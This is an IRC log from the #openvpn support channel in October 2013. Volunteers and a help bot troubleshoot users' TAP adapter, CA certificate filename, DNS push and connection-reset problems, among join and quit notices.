23:25 -!- krapper [~krapper@23.21.191.223] has quit [Ping timeout: 240 seconds]
23:25 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-llhidkaaewiqufah] has joined #openvpn
23:28 < Roklobsta> cool
23:30 < Roklobsta> ok devnode names work.
23:30 < Roklobsta> BUT there is still some weird affinity.  each vpn only works with one particular tap
23:31 < Roklobsta> OMG the service now works
23:31  * Roklobsta kisses krzee all over
23:31 < Roklobsta> except for "there"
23:32 < Roklobsta> well here's a well deserved ..|., to MS for making my weekend hell
23:32 < Roklobsta> and it works as a normal sevice account, not some crazy admin account.
23:33 < Roklobsta> just looking through the logs the tap devices are enumerated to see if they are open or not
23:34 < Roklobsta> and it grabs the first avail one it seems  it's jst not working that way on this server.
23:45 < Roklobsta> ok i have my trangle network going
23:45 < Roklobsta> finall
23:53 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:59 -!- BrownBoar [~Steven@75.126.39.76-static.reverse.softlayer.com] has left #openvpn ["Leaving"]
--- Day changed Sun Oct 06 2013
00:10 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
02:00 -!- xrosnight [~quassel@58.250.13.213] has joined #openvpn
02:22 -!- xrosnight [~quassel@58.250.13.213] has quit [Changing host]
02:22 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
02:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
02:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:09 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-gonziwijoylytjun] has quit [Excess Flood]
03:10 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-qlbytywckzaxsxez] has joined #openvpn
03:19 < Roklobsta> re my Q: about comp-lzo  ...  Use fast LZO compression -- may add up to 1 byte per packet for incompressible data.
03:26 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:39 < Roklobsta> well that answers that
04:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:40 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
05:05 < Fohlen> any of guys knows if I am able to tunnel openvpn through a squid http proxy on port 443?
05:05 < Fohlen> its a default-config proxy server, allowing https/443
05:11 -!- MattJ1000 [~matthew@109.176.201.179] has joined #openvpn
05:19 -!- Fohlen [~Fohlen@2a01:4f8:d15:34c3::2] has quit [Quit: ZNC - http://znc.in]
05:19 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has joined #openvpn
05:27 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
05:34 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:01 -!- vertigo [bleach@2604:180::f476:be4f] has quit [Disconnected by services]
06:02 -!- vertigo [bleach@2604:180::f476:be4f] has joined #openvpn
06:02 -!- vertigo [bleach@2604:180::f476:be4f] has quit [Disconnected by services]
06:02 -!- vertigo [bleach@2604:180::f476:be4f] has joined #openvpn
06:03 -!- vertigo [bleach@2604:180::f476:be4f] has quit [Disconnected by services]
06:03 -!- vertigo- [bleach@2604:180::f476:be4f] has joined #openvpn
06:08 < Fohlen> https://community.openvpn.net/openvpn/wiki/TrafficObfuscation
06:08 <@vpnHelper> Title: TrafficObfuscation – OpenVPN Community (at community.openvpn.net)
06:08 < Fohlen> found the answer - funny stuff
06:08 < Fohlen> now go fuck of, firewall
06:11 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 240 seconds]
06:13 -!- Roklobsta [~Roklobsta@ppp118-209-60-64.lns20.mel4.internode.on.net] has quit [Ping timeout: 252 seconds]
06:24 -!- ade_b [~Ade@e178063106.adsl.alicedsl.de] has joined #openvpn
06:24 -!- ade_b [~Ade@e178063106.adsl.alicedsl.de] has quit [Changing host]
06:24 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:46 -!- Roklobsta [~Roklobsta@ppp118-209-60-64.lns20.mel4.internode.on.net] has joined #openvpn
06:47 < Roklobsta> thanks again krzee it's all good .... so far
06:59 -!- elfixit [~Icedove@82.197.169.38] has joined #openvpn
07:03 -!- elfixit [~Icedove@82.197.169.38] has quit [Ping timeout: 245 seconds]
07:04 -!- MattJ1000 [~matthew@109.176.201.179] has quit [Read error: Operation timed out]
07:09 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:16 -!- MattJ1000 [~matthew@109.176.201.179] has joined #openvpn
07:30 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 246 seconds]
07:46 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Connection reset by peer]
07:47 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
07:48 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has joined #openvpn
07:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:58 -!- master_o1_master [~master_of@p4FF24BAF.dip0.t-ipconnect.de] has joined #openvpn
08:01 -!- master_of_master [~master_of@p4FF24608.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
08:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
08:12 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Read error: Operation timed out]
08:19 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
08:20 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has quit []
08:57 -!- atmosx [~me@gateway/tor-sasl/atmosx] has quit [Remote host closed the connection]
08:59 -!- atmosx [~me@gateway/tor-sasl/atmosx] has joined #openvpn
09:13 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:17 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Ping timeout: 264 seconds]
09:27 -!- MattJ1000 [~matthew@109.176.201.179] has quit [Ping timeout: 245 seconds]
09:36 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
09:38 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
09:39 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
09:40 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
09:40 -!- c0dy [~c0dy@70.127.233.86] has joined #openvpn
09:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:54 -!- d3c [~d3c@243.Red-2-139-156.staticIP.rima-tde.net] has joined #openvpn
09:56 -!- xrosnight [~quassel@58.250.13.213] has joined #openvpn
09:57 -!- xrosnight [~quassel@58.250.13.213] has quit [Changing host]
09:57 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
10:01 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
10:04 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
10:12 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
10:30 -!- c0dy [~c0dy@70.127.233.86] has left #openvpn []
10:31 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:31 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
10:32 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 256 seconds]
10:51 -!- MattJ [~matthew@109.176.201.179] has joined #openvpn
11:02 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
11:05 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
11:06 < cornfeedhobo> does anyone here use gentoo? I want to know if I can enumerate the openvpn startup script. I want to run multiple instances on the same server and the init script seems to only load one
11:08 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
11:15 < cornfeedhobo> nvm got it
11:15 < cornfeedhobo> :-)
11:21 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 260 seconds]
11:21 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
11:35 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
11:39 -!- matsh [divine@nanogene.org] has joined #openvpn
11:45 -!- Roklobsta|2 [~Roklobsta@ppp118-209-165-116.lns20.mel6.internode.on.net] has joined #openvpn
11:48 -!- Roklobsta [~Roklobsta@ppp118-209-60-64.lns20.mel4.internode.on.net] has quit [Ping timeout: 256 seconds]
11:48 -!- Aketzu [akolehma@kelvin.aketzu.net] has quit [Ping timeout: 248 seconds]
11:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:52 -!- nosuid [~nosuid@gateway/tor-sasl/nosuid] has joined #openvpn
11:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:59 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
11:59 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
12:06 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
12:07 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 260 seconds]
12:08 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
12:32 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
12:58 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 245 seconds]
12:58 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
13:02 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 240 seconds]
13:03 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
13:08 < ccha2> how does push dhcp-option DNS work ? do you need your client nic configuration should be dhcp ? I have my client nic configuration as static
13:17 -!- elfixit [~Icedove@117-225.197-178.cust.bluewin.ch] has joined #openvpn
13:18 < ccha2> hum dhcp-option is only for windows OS only ?
13:24 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 256 seconds]
13:27 -!- d3c [~d3c@243.Red-2-139-156.staticIP.rima-tde.net] has quit [Quit: Quit]
13:46 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
13:48 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 240 seconds]
13:52 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
14:00 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
14:03 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
14:17 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: quit]
14:34 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit []
14:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:05 -!- Devastator_ [~devas@186.214.110.101] has joined #openvpn
15:05 -!- Devastator_ [~devas@186.214.110.101] has quit [Changing host]
15:05 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
15:06 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
15:07 -!- Devastator_ is now known as Devastator
15:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:14 -!- Roklobsta|2 [~Roklobsta@ppp118-209-165-116.lns20.mel6.internode.on.net] has quit [Ping timeout: 256 seconds]
15:20 -!- Roklobsta [~Roklobsta@ppp118-209-165-116.lns20.mel6.internode.on.net] has joined #openvpn
15:24 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn []
15:34 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Quit: Leaving]
15:51 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
16:00 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
16:10 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has joined #openvpn
16:10 < Enyx> Hi
16:14 < Enyx> Yesterday i had "MULTI: bad source address from client [CLIENTIP]" when connecting on w$ and not on linux. NOw i have it on both. And "Waiting for TUN/TAP interface [...]" on PC ... any idea ? :/
16:17 < Roklobsta> no sorry.  i had my own tap battle this weekend with windows.  krzee helped.
16:18 < Enyx> krzee ? :3
16:19 < Roklobsta> i thin my issues were related to the server i installed on being crusty and old
16:19 < Roklobsta> because the tap worked perfectly on 2 other new server installs
16:19 < Enyx> Mine is a fresh install of debian, up to date etc
16:20 < Enyx> I'm gonna check updates but ...
16:20 < Roklobsta> i get the feeling that inthe entire universe maybe me and 4 other people use openvpn in a windows context
16:20 < Enyx> Got this feeling too
16:21 < Enyx> tho all my friends use it on w$ xD
16:21 < Enyx> i feel i'm the only one getting wierd errors
16:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:39 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has quit []
16:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:15 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 256 seconds]
17:28 -!- elfixit [~Icedove@117-225.197-178.cust.bluewin.ch] has quit [Ping timeout: 256 seconds]
17:54 -!- Roklobsta [~Roklobsta@ppp118-209-165-116.lns20.mel6.internode.on.net] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
18:12 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 248 seconds]
18:12 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 264 seconds]
18:23 -!- elfixit [~Icedove@151-228.197-178.cust.bluewin.ch] has joined #openvpn
18:28 -!- Tod4Dd [~Top4Dd@c-98-210-185-123.hsd1.ca.comcast.net] has joined #openvpn
18:46 -!- nosuid [~nosuid@gateway/tor-sasl/nosuid] has quit [Remote host closed the connection]
18:53 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:08 < Tod4Dd> Still getting error: Cannot load CA certifiate file http://pastebin.com/HgH5D5bC
19:08 < Tod4Dd> Perms are OK, just don't know why the error.
19:41 -!- JackWinter [~jack@vodsl-11200.vo.lu] has quit [Ping timeout: 248 seconds]
19:41 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
20:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
20:42 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
20:43 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
20:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
21:01 -!- MattJ [~matthew@109.176.201.179] has quit [Ping timeout: 260 seconds]
21:08 < Tod4Dd> !welcome
21:08 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
21:08 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:42 < Tod4Dd> !wiki
21:42 <@vpnHelper> "wiki" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN for the Unofficial wiki or (#2) https://community.openvpn.net/openvpn/wiki for the Official wiki
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
22:10 < Tod4Dd> !mitm
22:10 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
23:20 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Read error: Operation timed out]
23:28 -!- JackWinter [~jack@vodsl-11200.vo.lu] has joined #openvpn
23:36 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 264 seconds]
23:37 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
23:43 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:49 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
23:50 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 245 seconds]
23:52 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
23:59 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 264 seconds]
--- Day changed Mon Oct 07 2013
00:00 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
00:02 -!- suprMan` [~clark_ken@109.161.155.67] has joined #openvpn
00:12 -!- suprMan` [~clark_ken@109.161.155.67] has quit [Read error: Connection reset by peer]
00:19 -!- heraclitus [~halcyon@46.165.251.167] has joined #openvpn
00:19 -!- heraclitus [~halcyon@46.165.251.167] has quit [Changing host]
00:19 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
00:29 <@krzee> Tod4Dd, dont you need a crt and a key too?
00:30 <@krzee> or are those inline and cut out of the pastebin to not leak it?
00:30 <@krzee> Cannot load CA certificate file /etc/openvpn/ca.provider.com.crt
00:30 <@krzee> ca /etc/openvpn/ca.provider.crt
00:31 <@krzee> im pretty sure your config is not exactly as you posted it
00:31 <@krzee> filename mismatch
00:31 <@krzee> the error will not simply change the filename when telling you about it
00:39 < Tod4Dd> krzee: Thanks for responding
00:40 < Tod4Dd> All I'm trying to do is connect to a 3rd party provider: giganews (not sure if it was allowed to post the name giganews, so used the word provider instead
00:41 < Tod4Dd> I checked my config file, the contents are as they are (unchanged)
00:42 <@krzee> theres an issue with the filename of your ca
00:42 <@krzee> whatever is in the config will be what it says in the log
00:44 < Tod4Dd> giganews only told me to DL only that one particular file: ca.giganews.com.crt as per instructions on  http://www.giganews.com/support/vyprvpn/vpn-setup/linux/openvpn.html
00:44 <@vpnHelper> Title: OpenVPN Linux Setup Instructions for Giganews VyprVPN Users (at www.giganews.com)
00:44 <@krzee> you should get support from them
00:44 <@krzee> !provider
00:44 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
00:44 <@krzee> =]
00:45 <@krzee> and your filename is NOT ca.giganews.com.crt
00:45 <@krzee> it is ca.giganews.crt
00:45 <@krzee> which is why you have the error
00:45 <@krzee> like i said, mismatched filename
00:47 <@krzee> also, dont modify configs to hide info, especially when what you're modifying is the most important part of what you need help with
00:47 <@krzee> it hurts your chances of finding help, and annoys the helpers ;]
00:48 < Tod4Dd> understood, sorry, just didn't know
00:49 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
00:53 < Tod4Dd> in my /etc/openvpn/client.conf file if have the following line: ca /etc/openvpn.vyprvpn.com.crt
00:54 <@krzee> i bet theres a typo in that ^
00:54 <@krzee> does it REALLY say ca /etc/openvpn.vyprvpn.com.crt ?
00:54 <@krzee> or is that first . supposed to be a /
00:55 <@krzee> filenames matter
00:55 < Tod4Dd> I will look again
00:55 <@krzee> maybe you can start using copy/paste
00:55 <@krzee> your problem is literally due to a typo
00:55 < Tod4Dd> it says: ca /etc/openvpn/ca.vyprvpn.com.crt
00:56 <@krzee> if you cant find it, i cant either unless you give me the correct info
00:56 <@krzee> holy shit
00:56 <@krzee> you have changed it EVERY TIME you post it
00:57 <@krzee> so far we have said:  /etc/openvpn/ca.provider.crt   /etc/openvpn/ca.provider.com.crt  ca.giganews.com.crt   /etc/openvpn.vyprvpn.com.crt  /etc/openvpn/ca.vyprvpn.com.crt
00:57 <@krzee> that is fucking crazy!
00:58 <@krzee> you have literally not used the same filename 2 times during this conversation
00:58 < Tod4Dd> sorry, I am trying. been at this all day. not trying to confuse you. The comp having the problem is in another room
00:58 <@krzee> then get on IRC from that computer lol
00:58 <@krzee> and copy/paste instead of being wrong every time you say something
00:59 <@krzee> literally, you just need to make the filename in the config match the real filename
00:59 < Tod4Dd> Good suggestion. Thankl. sI will copy and paste to paste bin from that comp (will take a short while)
00:59 <@krzee> if you cant figure that out, please contact your provider.
01:03 < Tod4Dd> OK: direct copy and paste:  http://pastebin.com/2AfddeY5
01:03 <@krzee> and run openvpn again
01:03 <@krzee> then copy/paste the log exactly
01:04 <@krzee> im not sure why im still working on this, its almost as if im compulsively drawn to help right now lol
01:05 <@krzee> and also copy/paste the results of:
01:05 <@krzee> ls -la /etc/openvpn/
01:06 < Tod4Dd> Just ran [ # openvpn --config /etc/openvpn/client.conf ] and got the same error: Cannot load CA certificate file /etc/openvpn/ca.vyprvpn.com.crt
01:07 <@krzee> maybe you missed what i said
01:07 <@krzee> i dont want to see you typing this stuff out anymore
01:07 <@krzee> you're so close to my ignore list
01:10 < Tod4Dd> http://pastebin.com/fKapJfW8
01:14 <@krzee> md5sum /etc/openvpn/ca.vyprvpn.com.crt
01:15 <@krzee> remember, only copy/paste is allowed
01:16 <@krzee> your cert is WAY too large, i think you had a typo when you ran the command to download it
01:16 <@krzee> pastebin this:
01:16 <@krzee> cat /etc/openvpn/ca.vyprvpn.com.crt
01:17 <@krzee> i kinda expect we will see webpage source code :D
01:18 < Tod4Dd> OK: md5sum:  http://pastebin.com/E8fnrDaV
01:18 <@krzee> yours:  35578 Oct  6 11:39 ca.vyprvpn.com.crt      mine:  1671 May 25  2012 ca.vyprvpn.com.crt
01:18 <@krzee> 2df33cd4e56049ec74ecf0f139fdd6ff  ca.vyprvpn.com.crt
01:18 <@krzee> go get the correct cert with the command they gave you (must copy/paste that command too evidently!)
01:19 <@krzee> funny, by annoying me with typos we find that your actual problem was your typos
01:19 <@krzee> hahaha
01:20 < Tod4Dd> I DL as per instructions on step number5:  http://www.giganews.com/support/vyprvpn/vpn-setup/linux/openvpn.html
01:20 <@vpnHelper> Title: OpenVPN Linux Setup Instructions for Giganews VyprVPN Users (at www.giganews.com)
01:20 <@krzee> no, you did not
01:20 <@krzee> you had a typo
01:20 <@krzee> then you downloaded a webpage instead of the file
01:21 <@krzee> and openvpn (openssl) is choking on the html cause it is not a ca cert
01:21 <@krzee> if you used the command they gave you EXACTLY (copy/paste) it would have worked, and you would have the correct cert like i do
01:21 < Tod4Dd> I DL by copying and pasting the command, not copying it. I will DL it again
01:21 <@krzee> i know this because i copy/pasted the url into the command i ran
01:22 <@krzee> well whatever, look at the crt you downloaded
01:22 <@krzee> i bet you its html, not a crt
01:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:22 <@krzee> and it should be this:  http://pastebin.com/VJ9RBJbz
01:27 < Tod4Dd> You were right, I re-downloaded and got correct crt, but now I got this output: http://pastebin.com/RfBjvvuG
01:28 <@krzee> you see the problem
01:28 <@krzee> i know you do
01:30 < Tod4Dd> Everything worked, but AUTH is wrong --> checking my login.txt now
01:33 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
01:33 <@krzee> =]
01:35 < Tod4Dd> My login.txt has my correct username and password
01:48 < Tod4Dd> Not sure what problem is, still getting same output
01:50 <@krzee> try commenting the line in the config
01:51 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
01:51 < andi> Hello
01:52 < Tod4Dd> kzee: Just finished doing that. and manually type it in. Still got same output
01:52 <@krzee> then obviously that login/pass are not working
01:52 <@krzee> contact your provider
01:52  * krzee calls out andi's number
01:53 < andi> My hoster changed my vserver from openvz to lxc. Since this time I have multiple reconnects of my vpn per day. Saying Connection reset, restarting [-1] on the client side and SIGUSR1[soft,connection-reset] received, client-instance restarting on the server side. How can I find out if really the client closes the connection or the server is closing it?
01:53 < andi> krzee: Oh, thanks. :D
01:53 <@krzee> haha
01:54 <@krzee> andi, see both logs
01:54 < Tod4Dd> Went and verified at giganews: they are correct. Just tried it out via nzbget and it works.
01:54 <@krzee> Tod4Dd, you cant be helped here any further
01:55 <@krzee> oh hmm
01:55 <@krzee> andi
01:55 <@krzee> post the log
01:55 <@krzee> the way you can tell is by the keepalive
01:55 < Tod4Dd> Ok, thank you very much for all your help.
01:55 <@krzee> Tod4Dd, you're welcome
01:56 <@krzee> andi, im assuming you use --keepalive, if you do then check out what it really does in the manual
01:56 <@krzee> !man
01:56 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
01:56 < Tod4Dd> krzee: Have a good day :)
01:57 -!- Tod4Dd [~Top4Dd@c-98-210-185-123.hsd1.ca.comcast.net] has left #openvpn ["Konversation terminated!"]
01:57 <@krzee> the client will notice 2x as fast as the server
01:58 < andi> krzee: http://tools.sixhop.net/server.log http://tools.sixhop.net/client.log These are the two logs of the last reconnect.
01:58 < andi> I had eight reconnects today.
01:59 <@krzee> hmm no i guess if 1 couldnt reach the other they would both still try the keepalive on their own til it works
01:59 <@krzee> i dont think the keepalive will tell us anything
01:59 <@krzee> in fact i dont think openvpn will
01:59 <@krzee> maybe nagios or something
02:00 < andi> In server configuration I have keepalive 10 120, so every 10 seconds there will be a ping which needs to arrive within 120 seconds.
02:00 < andi> krzee: What exactly should I check with nagios?
02:00 < andi> I'm using icinga.
02:01 <@krzee> whether your client or server are having network issues
02:01 <@krzee> either one would be treated the same by openvpn, we cant figure that out using openvpn
02:01 <@krzee> your problem is unrelated to openvpn, you just notice it with openvpn
02:02 <@krzee> !tcp
02:02 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
02:04 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
02:04 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:06 <@krzee> cool i hadnt seen icinga before, thanks
02:07 < andi> krzee: Ok, thanks for your help. I will add some additional checks. I see some interface errors from my munin graphs. *sigh*
02:08 <@krzee> no problem
02:41 -!- e-ndy [~e-ndy@fantomas.bestit.cz] has joined #openvpn
03:50 -!- cmur2 [~quassel@cl-4849.cgn-01.de.sixxs.net] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
04:21 < atmosx> hello
04:54 -!- MattJ [~matthew@109.176.201.179] has joined #openvpn
04:56 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
04:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:59 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
05:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:07 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:53 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
06:14 -!- Denial [Denial@05417302.skybroadband.com] has quit [Ping timeout: 264 seconds]
06:17 -!- Denial [Denial@90.215.54.187] has joined #openvpn
06:26 -!- Denial [Denial@90.215.54.187] has quit [Ping timeout: 248 seconds]
06:27 -!- ihre [~ihre@unaffiliated/ihre] has quit [Ping timeout: 260 seconds]
06:28 -!- Denial [Denial@90.215.165.9] has joined #openvpn
06:28 -!- rapha [~rapha@unaffiliated/rapha] has joined #openvpn
06:28 < rapha> Hi!
06:29 < rapha> I'm trying to set up OpenVPN and everything seems to be working fine, except for the routing of all traffic through the VPN.
06:29 < rapha> Like the HOWTO says, I issued the iptables command on the server, but the outside is not pingable by the clients.
06:29 < rapha> What am I missing / doing wrong?
06:35 -!- MattJ [~matthew@109.176.201.179] has quit [Remote host closed the connection]
06:37 -!- Denial [Denial@90.215.165.9] has quit [Ping timeout: 248 seconds]
06:39 -!- Denial [Denial@90.206.229.86] has joined #openvpn
